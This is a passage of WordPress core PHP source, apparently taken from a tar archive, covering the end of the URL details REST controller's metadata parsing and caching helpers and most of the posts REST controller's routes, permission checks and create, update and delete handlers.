$parsed_icon['scheme'] ) && 'data' === $parsed_icon['scheme'] ) { return $icon; } // Attempt to convert relative URLs to absolute. if ( ! is_string( $url ) || '' === $url ) { return $icon; } $parsed_url = parse_url( $url ); if ( isset( $parsed_url['scheme'] ) && isset( $parsed_url['host'] ) ) { $root_url = $parsed_url['scheme'] . '://' . $parsed_url['host'] . '/'; $icon = WP_Http::make_absolute_url( $icon, $root_url ); } return $icon; } /** * Parses the meta description from the provided HTML. * * @since 5.9.0 * * @param array $meta_elements { * A multi-dimensional indexed array on success, else empty array. * * @type string[] $0 Meta elements with a content attribute. * @type string[] $1 Content attribute's opening quotation mark. * @type string[] $2 Content attribute's value for each meta element. * } * @return string The meta description contents on success. Empty string if not found. */ private function get_description( $meta_elements ) { // Bail out if there are no meta elements. if ( empty( $meta_elements[0] ) ) { return ''; } $description = $this->get_metadata_from_meta_element( $meta_elements, 'name', '(?:description|og:description)' ); // Bail out if description not found. if ( '' === $description ) { return ''; } return $this->prepare_metadata_for_output( $description ); } /** * Parses the Open Graph (OG) Image from the provided HTML. * * See: https://ogp.me/. * * @since 5.9.0 * * @param array $meta_elements { * A multi-dimensional indexed array on success, else empty array. * * @type string[] $0 Meta elements with a content attribute. * @type string[] $1 Content attribute's opening quotation mark. * @type string[] $2 Content attribute's value for each meta element. * } * @param string $url The target website URL. * @return string The OG image on success. Empty string if not found. */ private function get_image( $meta_elements, $url ) { $image = $this->get_metadata_from_meta_element( $meta_elements, 'property', '(?:og:image|og:image:url)' ); // Bail out if image not found. if ( '' === $image ) { return ''; } // Attempt to convert relative URLs to absolute. $parsed_url = parse_url( $url ); if ( isset( $parsed_url['scheme'] ) && isset( $parsed_url['host'] ) ) { $root_url = $parsed_url['scheme'] . '://' . $parsed_url['host'] . '/'; $image = WP_Http::make_absolute_url( $image, $root_url ); } return $image; } /** * Prepares the metadata by: * - stripping all HTML tags and tag entities. * - converting non-tag entities into characters. * * @since 5.9.0 * * @param string $metadata The metadata content to prepare. * @return string The prepared metadata. */ private function prepare_metadata_for_output( $metadata ) { $metadata = html_entity_decode( $metadata, ENT_QUOTES, get_bloginfo( 'charset' ) ); $metadata = wp_strip_all_tags( $metadata ); return $metadata; } /** * Utility function to build cache key for a given URL. * * @since 5.9.0 * * @param string $url The URL for which to build a cache key. * @return string The cache key. */ private function build_cache_key_for_url( $url ) { return 'g_url_details_response_' . md5( $url ); } /** * Utility function to retrieve a value from the cache at a given key. * * @since 5.9.0 * * @param string $key The cache key. * @return mixed The value from the cache. */ private function get_cache( $key ) { return get_site_transient( $key ); } /** * Utility function to cache a given data set at a given cache key. * * @since 5.9.0 * * @param string $key The cache key under which to store the value. * @param string $data The data to be stored at the given cache key. * @return bool True when transient set. False if not set. */ private function set_cache( $key, $data = '' ) { $ttl = HOUR_IN_SECONDS; /** * Filters the cache expiration. * * Can be used to adjust the time until expiration in seconds for the cache * of the data retrieved for the given URL. * * @since 5.9.0 * * @param int $ttl The time until cache expiration in seconds. */ $cache_expiration = apply_filters( 'rest_url_details_cache_expiration', $ttl ); return set_site_transient( $key, $data, $cache_expiration ); } /** * Retrieves the head element section. * * @since 5.9.0 * * @param string $html The string of HTML to parse. * @return string The `<head>..</head>` section on success. Given `$html` if not found. */ private function get_document_head( $html ) { $head_html = $html; // Find the opening `<head>` tag. $head_start = strpos( $html, '<head' ); if ( false === $head_start ) { // Didn't find it. Return the original HTML. return $html; } // Find the closing `</head>` tag. $head_end = strpos( $head_html, '</head>' ); if ( false === $head_end ) { // Didn't find it. Find the opening `<body>` tag. $head_end = strpos( $head_html, '<body' ); // Didn't find it. Return the original HTML. if ( false === $head_end ) { return $html; } } // Extract the HTML from opening tag to the closing tag. Then add the closing tag. $head_html = substr( $head_html, $head_start, $head_end ); $head_html .= '</head>'; return $head_html; } /** * Gets all the meta tag elements that have a 'content' attribute. * * @since 5.9.0 * * @param string $html The string of HTML to be parsed. * @return array { * A multi-dimensional indexed array on success, else empty array. * * @type string[] $0 Meta elements with a content attribute. * @type string[] $1 Content attribute's opening quotation mark. * @type string[] $2 Content attribute's value for each meta element. * } */ private function get_meta_with_content_elements( $html ) { /* * Parse all meta elements with a content attribute. * * Why first search for the content attribute rather than directly searching for name=description element? * tl;dr The content attribute's value will be truncated when it contains a > symbol. * * The content attribute's value (i.e. the description to get) can have HTML in it and be well-formed as * it's a string to the browser. Imagine what happens when attempting to match for the name=description * first. Hmm, if a > or /> symbol is in the content attribute's value, then it terminates the match * as the element's closing symbol. But wait, it's in the content attribute and is not the end of the * element. This is a limitation of using regex. It can't determine "wait a minute this is inside of quotation". * If this happens, what gets matched is not the entire element or all of the content. * * Why not search for the name=description and then content="(.*)"? * The attribute order could be opposite. Plus, additional attributes may exist including being between * the name and content attributes. * * Why not lookahead? * Lookahead is not constrained to stay within the element. The first <meta it finds may not include * the name or content, but rather could be from a different element downstream. */ $pattern = '#<meta\s' . /* * Allows for additional attributes before the content attribute. * Searches for anything other than > symbol. */ '[^>]*' . /* * Find the content attribute. When found, capture its value (.*). * * Allows for (a) single or double quotes and (b) whitespace in the value. * * Why capture the opening quotation mark, i.e. (["\']), and then backreference, * i.e \1, for the closing quotation mark? * To ensure the closing quotation mark matches the opening one. Why? Attribute values * can contain quotation marks, such as an apostrophe in the content. */ 'content=(["\']??)(.*)\1' . /* * Allows for additional attributes after the content attribute. * Searches for anything other than > symbol. */ '[^>]*' . /* * \/?> searches for the closing > symbol, which can be in either /> or > format. * # ends the pattern. */ '\/?>#' . /* * These are the options: * - i : case insensitive * - s : allows newline characters for the . match (needed for multiline elements) * - U means non-greedy matching */ 'isU'; preg_match_all( $pattern, $html, $elements ); return $elements; } /** * Gets the metadata from a target meta element. * * @since 5.9.0 * * @param array $meta_elements { * A multi-dimensional indexed array on success, else empty array. * * @type string[] $0 Meta elements with a content attribute. * @type string[] $1 Content attribute's opening quotation mark. * @type string[] $2 Content attribute's value for each meta element. * } * @param string $attr Attribute that identifies the element with the target metadata. * @param string $attr_value The attribute's value that identifies the element with the target metadata. * @return string The metadata on success. Empty string if not found. */ private function get_metadata_from_meta_element( $meta_elements, $attr, $attr_value ) { // Bail out if there are no meta elements. if ( empty( $meta_elements[0] ) ) { return ''; } $metadata = ''; $pattern = '#' . /* * Target this attribute and value to find the metadata element. * * Allows for (a) no, single, double quotes and (b) whitespace in the value. * * Why capture the opening quotation mark, i.e. (["\']), and then backreference, * i.e \1, for the closing quotation mark? * To ensure the closing quotation mark matches the opening one. Why? Attribute values * can contain quotation marks, such as an apostrophe in the content. */ $attr . '=([\"\']??)\s*' . $attr_value . '\s*\1' . /* * These are the options: * - i : case insensitive * - s : allows newline characters for the . match (needed for multiline elements) * - U means non-greedy matching */ '#isU'; // Find the metadata element. foreach ( $meta_elements[0] as $index => $element ) { preg_match( $pattern, $element, $match ); // This is not the metadata element. Skip it. if ( empty( $match ) ) { continue; } /* * Found the metadata element. * Get the metadata from its matching content array. */ if ( isset( $meta_elements[2][ $index ] ) && is_string( $meta_elements[2][ $index ] ) ) { $metadata = trim( $meta_elements[2][ $index ] ); } break; } return $metadata; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������rest-api/endpoints/class-wp-rest-posts-controller.php�����������������������������������������������0000644�����������������00000271663�14717703502�0017064 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * REST API: WP_REST_Posts_Controller class * * @package WordPress * @subpackage REST_API * @since 4.7.0 */ /** * Core class to access posts via the REST API. * * @since 4.7.0 * * @see WP_REST_Controller */ class WP_REST_Posts_Controller extends WP_REST_Controller { /** * Post type. * * @since 4.7.0 * @var string */ protected $post_type; /** * Instance of a post meta fields object. * * @since 4.7.0 * @var WP_REST_Post_Meta_Fields */ protected $meta; /** * Passwordless post access permitted. * * @since 5.7.1 * @var int[] */ protected $password_check_passed = array(); /** * Whether the controller supports batching. * * @since 5.9.0 * @var array */ protected $allow_batch = array( 'v1' => true ); /** * Constructor. * * @since 4.7.0 * * @param string $post_type Post type. */ public function __construct( $post_type ) { $this->post_type = $post_type; $obj = get_post_type_object( $post_type ); $this->rest_base = ! empty( $obj->rest_base ) ? $obj->rest_base : $obj->name; $this->namespace = ! empty( $obj->rest_namespace ) ? $obj->rest_namespace : 'wp/v2'; $this->meta = new WP_REST_Post_Meta_Fields( $this->post_type ); } /** * Registers the routes for posts. * * @since 4.7.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ), ), 'allow_batch' => $this->allow_batch, 'schema' => array( $this, 'get_public_item_schema' ), ) ); $schema = $this->get_item_schema(); $get_item_args = array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ); if ( isset( $schema['properties']['password'] ) ) { $get_item_args['password'] = array( 'description' => __( 'The password for the post if it is password protected.' ), 'type' => 'string', ); } register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<id>[\d]+)', array( 'args' => array( 'id' => array( 'description' => __( 'Unique identifier for the post.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => $get_item_args, ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), 'args' => array( 'force' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Whether to bypass Trash and force deletion.' ), ), ), ), 'allow_batch' => $this->allow_batch, 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to read posts. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { $post_type = get_post_type_object( $this->post_type ); if ( 'edit' === $request['context'] && ! current_user_can( $post_type->cap->edit_posts ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit posts in this post type.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Override the result of the post password check for REST requested posts. * * Allow users to read the content of password protected posts if they have * previously passed a permission check or if they have the `edit_post` capability * for the post being checked. * * @since 5.7.1 * * @param bool $required Whether the post requires a password check. * @param WP_Post $post The post been password checked. * @return bool Result of password check taking in to account REST API considerations. */ public function check_password_required( $required, $post ) { if ( ! $required ) { return $required; } $post = get_post( $post ); if ( ! $post ) { return $required; } if ( ! empty( $this->password_check_passed[ $post->ID ] ) ) { // Password previously checked and approved. return false; } return ! current_user_can( 'edit_post', $post->ID ); } /** * Retrieves a collection of posts. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { // Ensure a search string is set in case the orderby is set to 'relevance'. if ( ! empty( $request['orderby'] ) && 'relevance' === $request['orderby'] && empty( $request['search'] ) ) { return new WP_Error( 'rest_no_search_term_defined', __( 'You need to define a search term to order by relevance.' ), array( 'status' => 400 ) ); } // Ensure an include parameter is set in case the orderby is set to 'include'. if ( ! empty( $request['orderby'] ) && 'include' === $request['orderby'] && empty( $request['include'] ) ) { return new WP_Error( 'rest_orderby_include_missing_include', __( 'You need to define an include parameter to order by include.' ), array( 'status' => 400 ) ); } // Retrieve the list of registered collection query parameters. $registered = $this->get_collection_params(); $args = array(); /* * This array defines mappings between public API query parameters whose * values are accepted as-passed, and their internal WP_Query parameter * name equivalents (some are the same). Only values which are also * present in $registered will be set. */ $parameter_mappings = array( 'author' => 'author__in', 'author_exclude' => 'author__not_in', 'exclude' => 'post__not_in', 'include' => 'post__in', 'menu_order' => 'menu_order', 'offset' => 'offset', 'order' => 'order', 'orderby' => 'orderby', 'page' => 'paged', 'parent' => 'post_parent__in', 'parent_exclude' => 'post_parent__not_in', 'search' => 's', 'slug' => 'post_name__in', 'status' => 'post_status', ); /* * For each known parameter which is both registered and present in the request, * set the parameter's value on the query $args. */ foreach ( $parameter_mappings as $api_param => $wp_param ) { if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) { $args[ $wp_param ] = $request[ $api_param ]; } } // Check for & assign any parameters which require special handling or setting. $args['date_query'] = array(); if ( isset( $registered['before'], $request['before'] ) ) { $args['date_query'][] = array( 'before' => $request['before'], 'column' => 'post_date', ); } if ( isset( $registered['modified_before'], $request['modified_before'] ) ) { $args['date_query'][] = array( 'before' => $request['modified_before'], 'column' => 'post_modified', ); } if ( isset( $registered['after'], $request['after'] ) ) { $args['date_query'][] = array( 'after' => $request['after'], 'column' => 'post_date', ); } if ( isset( $registered['modified_after'], $request['modified_after'] ) ) { $args['date_query'][] = array( 'after' => $request['modified_after'], 'column' => 'post_modified', ); } // Ensure our per_page parameter overrides any provided posts_per_page filter. if ( isset( $registered['per_page'] ) ) { $args['posts_per_page'] = $request['per_page']; } if ( isset( $registered['sticky'], $request['sticky'] ) ) { $sticky_posts = get_option( 'sticky_posts', array() ); if ( ! is_array( $sticky_posts ) ) { $sticky_posts = array(); } if ( $request['sticky'] ) { /* * As post__in will be used to only get sticky posts, * we have to support the case where post__in was already * specified. */ $args['post__in'] = $args['post__in'] ? array_intersect( $sticky_posts, $args['post__in'] ) : $sticky_posts; /* * If we intersected, but there are no post IDs in common, * WP_Query won't return "no posts" for post__in = array() * so we have to fake it a bit. */ if ( ! $args['post__in'] ) { $args['post__in'] = array( 0 ); } } elseif ( $sticky_posts ) { /* * As post___not_in will be used to only get posts that * are not sticky, we have to support the case where post__not_in * was already specified. */ $args['post__not_in'] = array_merge( $args['post__not_in'], $sticky_posts ); } } $args = $this->prepare_tax_query( $args, $request ); // Force the post_type argument, since it's not a user input variable. $args['post_type'] = $this->post_type; /** * Filters WP_Query arguments when querying posts via the REST API. * * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug. * * Possible hook names include: * * - `rest_post_query` * - `rest_page_query` * - `rest_attachment_query` * * Enables adding extra arguments or setting defaults for a post collection request. * * @since 4.7.0 * @since 5.7.0 Moved after the `tax_query` query arg is generated. * * @link https://developer.wordpress.org/reference/classes/wp_query/ * * @param array $args Array of arguments for WP_Query. * @param WP_REST_Request $request The REST API request. */ $args = apply_filters( "rest_{$this->post_type}_query", $args, $request ); $query_args = $this->prepare_items_query( $args, $request ); $posts_query = new WP_Query(); $query_result = $posts_query->query( $query_args ); // Allow access to all password protected posts if the context is edit. if ( 'edit' === $request['context'] ) { add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 ); } $posts = array(); foreach ( $query_result as $post ) { if ( ! $this->check_read_permission( $post ) ) { continue; } $data = $this->prepare_item_for_response( $post, $request ); $posts[] = $this->prepare_response_for_collection( $data ); } // Reset filter. if ( 'edit' === $request['context'] ) { remove_filter( 'post_password_required', array( $this, 'check_password_required' ) ); } $page = (int) $query_args['paged']; $total_posts = $posts_query->found_posts; if ( $total_posts < 1 ) { // Out-of-bounds, run the query again without LIMIT for total count. unset( $query_args['paged'] ); $count_query = new WP_Query(); $count_query->query( $query_args ); $total_posts = $count_query->found_posts; } $max_pages = ceil( $total_posts / (int) $posts_query->query_vars['posts_per_page'] ); if ( $page > $max_pages && $total_posts > 0 ) { return new WP_Error( 'rest_post_invalid_page_number', __( 'The page number requested is larger than the number of pages available.' ), array( 'status' => 400 ) ); } $response = rest_ensure_response( $posts ); $response->header( 'X-WP-Total', (int) $total_posts ); $response->header( 'X-WP-TotalPages', (int) $max_pages ); $request_params = $request->get_query_params(); $base = add_query_arg( urlencode_deep( $request_params ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) ); if ( $page > 1 ) { $prev_page = $page - 1; if ( $prev_page > $max_pages ) { $prev_page = $max_pages; } $prev_link = add_query_arg( 'page', $prev_page, $base ); $response->link_header( 'prev', $prev_link ); } if ( $max_pages > $page ) { $next_page = $page + 1; $next_link = add_query_arg( 'page', $next_page, $base ); $response->link_header( 'next', $next_link ); } return $response; } /** * Get the post, if the ID is valid. * * @since 4.7.2 * * @param int $id Supplied ID. * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise. */ protected function get_post( $id ) { $error = new WP_Error( 'rest_post_invalid_id', __( 'Invalid post ID.' ), array( 'status' => 404 ) ); if ( (int) $id <= 0 ) { return $error; } $post = get_post( (int) $id ); if ( empty( $post ) || empty( $post->ID ) || $this->post_type !== $post->post_type ) { return $error; } return $post; } /** * Checks if a given request has access to read a post. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } if ( 'edit' === $request['context'] && $post && ! $this->check_update_permission( $post ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit this post.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( $post && ! empty( $request['password'] ) ) { // Check post password, and return error if invalid. if ( ! hash_equals( $post->post_password, $request['password'] ) ) { return new WP_Error( 'rest_post_incorrect_password', __( 'Incorrect post password.' ), array( 'status' => 403 ) ); } } // Allow access to all password protected posts if the context is edit. if ( 'edit' === $request['context'] ) { add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 ); } if ( $post ) { return $this->check_read_permission( $post ); } return true; } /** * Checks if the user can access password-protected content. * * This method determines whether we need to override the regular password * check in core with a filter. * * @since 4.7.0 * * @param WP_Post $post Post to check against. * @param WP_REST_Request $request Request data to check. * @return bool True if the user can access password-protected content, otherwise false. */ public function can_access_password_content( $post, $request ) { if ( empty( $post->post_password ) ) { // No filter required. return false; } /* * Users always gets access to password protected content in the edit * context if they have the `edit_post` meta capability. */ if ( 'edit' === $request['context'] && current_user_can( 'edit_post', $post->ID ) ) { return true; } // No password, no auth. if ( empty( $request['password'] ) ) { return false; } // Double-check the request password. return hash_equals( $post->post_password, $request['password'] ); } /** * Retrieves a single post. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } $data = $this->prepare_item_for_response( $post, $request ); $response = rest_ensure_response( $data ); if ( is_post_type_viewable( get_post_type_object( $post->post_type ) ) ) { $response->link_header( 'alternate', get_permalink( $post->ID ), array( 'type' => 'text/html' ) ); } return $response; } /** * Checks if a given request has access to create a post. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise. */ public function create_item_permissions_check( $request ) { if ( ! empty( $request['id'] ) ) { return new WP_Error( 'rest_post_exists', __( 'Cannot create existing post.' ), array( 'status' => 400 ) ); } $post_type = get_post_type_object( $this->post_type ); if ( ! empty( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( $post_type->cap->edit_others_posts ) ) { return new WP_Error( 'rest_cannot_edit_others', __( 'Sorry, you are not allowed to create posts as this user.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! empty( $request['sticky'] ) && ! current_user_can( $post_type->cap->edit_others_posts ) && ! current_user_can( $post_type->cap->publish_posts ) ) { return new WP_Error( 'rest_cannot_assign_sticky', __( 'Sorry, you are not allowed to make posts sticky.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! current_user_can( $post_type->cap->create_posts ) ) { return new WP_Error( 'rest_cannot_create', __( 'Sorry, you are not allowed to create posts as this user.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! $this->check_assign_terms_permission( $request ) ) { return new WP_Error( 'rest_cannot_assign_term', __( 'Sorry, you are not allowed to assign the provided terms.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Creates a single post. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { if ( ! empty( $request['id'] ) ) { return new WP_Error( 'rest_post_exists', __( 'Cannot create existing post.' ), array( 'status' => 400 ) ); } $prepared_post = $this->prepare_item_for_database( $request ); if ( is_wp_error( $prepared_post ) ) { return $prepared_post; } $prepared_post->post_type = $this->post_type; $post_id = wp_insert_post( wp_slash( (array) $prepared_post ), true, false ); if ( is_wp_error( $post_id ) ) { if ( 'db_insert_error' === $post_id->get_error_code() ) { $post_id->add_data( array( 'status' => 500 ) ); } else { $post_id->add_data( array( 'status' => 400 ) ); } return $post_id; } $post = get_post( $post_id ); /** * Fires after a single post is created or updated via the REST API. * * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug. * * Possible hook names include: * * - `rest_insert_post` * - `rest_insert_page` * - `rest_insert_attachment` * * @since 4.7.0 * * @param WP_Post $post Inserted or updated post object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a post, false when updating. */ do_action( "rest_insert_{$this->post_type}", $post, $request, true ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['sticky'] ) ) { if ( ! empty( $request['sticky'] ) ) { stick_post( $post_id ); } else { unstick_post( $post_id ); } } if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) { $this->handle_featured_media( $request['featured_media'], $post_id ); } if ( ! empty( $schema['properties']['format'] ) && ! empty( $request['format'] ) ) { set_post_format( $post, $request['format'] ); } if ( ! empty( $schema['properties']['template'] ) && isset( $request['template'] ) ) { $this->handle_template( $request['template'], $post_id, true ); } $terms_update = $this->handle_terms( $post_id, $request ); if ( is_wp_error( $terms_update ) ) { return $terms_update; } if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $post_id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $post = get_post( $post_id ); $fields_update = $this->update_additional_fields_for_object( $post, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); /** * Fires after a single post is completely created or updated via the REST API. * * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug. * * Possible hook names include: * * - `rest_after_insert_post` * - `rest_after_insert_page` * - `rest_after_insert_attachment` * * @since 5.0.0 * * @param WP_Post $post Inserted or updated post object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a post, false when updating. */ do_action( "rest_after_insert_{$this->post_type}", $post, $request, true ); wp_after_insert_post( $post, false, null ); $response = $this->prepare_item_for_response( $post, $request ); $response = rest_ensure_response( $response ); $response->set_status( 201 ); $response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $post_id ) ) ); return $response; } /** * Checks if a given request has access to update a post. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } $post_type = get_post_type_object( $this->post_type ); if ( $post && ! $this->check_update_permission( $post ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this post.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! empty( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( $post_type->cap->edit_others_posts ) ) { return new WP_Error( 'rest_cannot_edit_others', __( 'Sorry, you are not allowed to update posts as this user.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! empty( $request['sticky'] ) && ! current_user_can( $post_type->cap->edit_others_posts ) && ! current_user_can( $post_type->cap->publish_posts ) ) { return new WP_Error( 'rest_cannot_assign_sticky', __( 'Sorry, you are not allowed to make posts sticky.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! $this->check_assign_terms_permission( $request ) ) { return new WP_Error( 'rest_cannot_assign_term', __( 'Sorry, you are not allowed to assign the provided terms.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Updates a single post. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { $valid_check = $this->get_post( $request['id'] ); if ( is_wp_error( $valid_check ) ) { return $valid_check; } $post_before = get_post( $request['id'] ); $post = $this->prepare_item_for_database( $request ); if ( is_wp_error( $post ) ) { return $post; } // Convert the post object to an array, otherwise wp_update_post() will expect non-escaped input. $post_id = wp_update_post( wp_slash( (array) $post ), true, false ); if ( is_wp_error( $post_id ) ) { if ( 'db_update_error' === $post_id->get_error_code() ) { $post_id->add_data( array( 'status' => 500 ) ); } else { $post_id->add_data( array( 'status' => 400 ) ); } return $post_id; } $post = get_post( $post_id ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */ do_action( "rest_insert_{$this->post_type}", $post, $request, false ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['format'] ) && ! empty( $request['format'] ) ) { set_post_format( $post, $request['format'] ); } if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) { $this->handle_featured_media( $request['featured_media'], $post_id ); } if ( ! empty( $schema['properties']['sticky'] ) && isset( $request['sticky'] ) ) { if ( ! empty( $request['sticky'] ) ) { stick_post( $post_id ); } else { unstick_post( $post_id ); } } if ( ! empty( $schema['properties']['template'] ) && isset( $request['template'] ) ) { $this->handle_template( $request['template'], $post->ID ); } $terms_update = $this->handle_terms( $post->ID, $request ); if ( is_wp_error( $terms_update ) ) { return $terms_update; } if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $post->ID ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $post = get_post( $post_id ); $fields_update = $this->update_additional_fields_for_object( $post, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); // Filter is fired in WP_REST_Attachments_Controller subclass. if ( 'attachment' === $this->post_type ) { $response = $this->prepare_item_for_response( $post, $request ); return rest_ensure_response( $response ); } /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */ do_action( "rest_after_insert_{$this->post_type}", $post, $request, false ); wp_after_insert_post( $post, true, $post_before ); $response = $this->prepare_item_for_response( $post, $request ); return rest_ensure_response( $response ); } /** * Checks if a given request has access to delete a post. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise. */ public function delete_item_permissions_check( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } if ( $post && ! $this->check_delete_permission( $post ) ) { return new WP_Error( 'rest_cannot_delete', __( 'Sorry, you are not allowed to delete this post.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Deletes a single post. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } $id = $post->ID; $force = (bool) $request['force']; $supports_trash = ( EMPTY_TRASH_DAYS > 0 ); if ( 'attachment' === $post->post_type ) { $supports_trash = $supports_trash && MEDIA_TRASH; } /** * Filters whether a post is trashable. * * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug. * * Possible hook names include: * * - `rest_post_trashable` * - `rest_page_trashable` * - `rest_attachment_trashable` * * Pass false to disable Trash support for the post. * * @since 4.7.0 * * @param bool $supports_trash Whether the post type support trashing. * @param WP_Post $post The Post object being considered for trashing support. */ $supports_trash = apply_filters( "rest_{$this->post_type}_trashable", $supports_trash, $post ); if ( ! $this->check_delete_permission( $post ) ) { return new WP_Error( 'rest_user_cannot_delete_post', __( 'Sorry, you are not allowed to delete this post.' ), array( 'status' => rest_authorization_required_code() ) ); } $request->set_param( 'context', 'edit' ); // If we're forcing, then delete permanently. if ( $force ) { $previous = $this->prepare_item_for_response( $post, $request ); $result = wp_delete_post( $id, true ); $response = new WP_REST_Response(); $response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data(), ) ); } else { // If we don't support trashing for this type, error out. if ( ! $supports_trash ) { return new WP_Error( 'rest_trash_not_supported', /* translators: %s: force=true */ sprintf( __( "The post does not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) ); } // Otherwise, only trash if we haven't already. if ( 'trash' === $post->post_status ) { return new WP_Error( 'rest_already_trashed', __( 'The post has already been deleted.' ), array( 'status' => 410 ) ); } // (Note that internally this falls through to `wp_delete_post()` // if the Trash is disabled.) $result = wp_trash_post( $id ); $post = get_post( $id ); $response = $this->prepare_item_for_response( $post, $request ); } if ( ! $result ) { return new WP_Error( 'rest_cannot_delete', __( 'The post cannot be deleted.' ), array( 'status' => 500 ) ); } /** * Fires immediately after a single post is deleted or trashed via the REST API. * * They dynamic portion of the hook name, `$this->post_type`, refers to the post type slug. * * Possible hook names include: * * - `rest_delete_post` * - `rest_delete_page` * - `rest_delete_attachment` * * @since 4.7.0 * * @param WP_Post $post The deleted or trashed post. * @param WP_REST_Response $response The response data. * @param WP_REST_Request $request The request sent to the API. */ do_action( 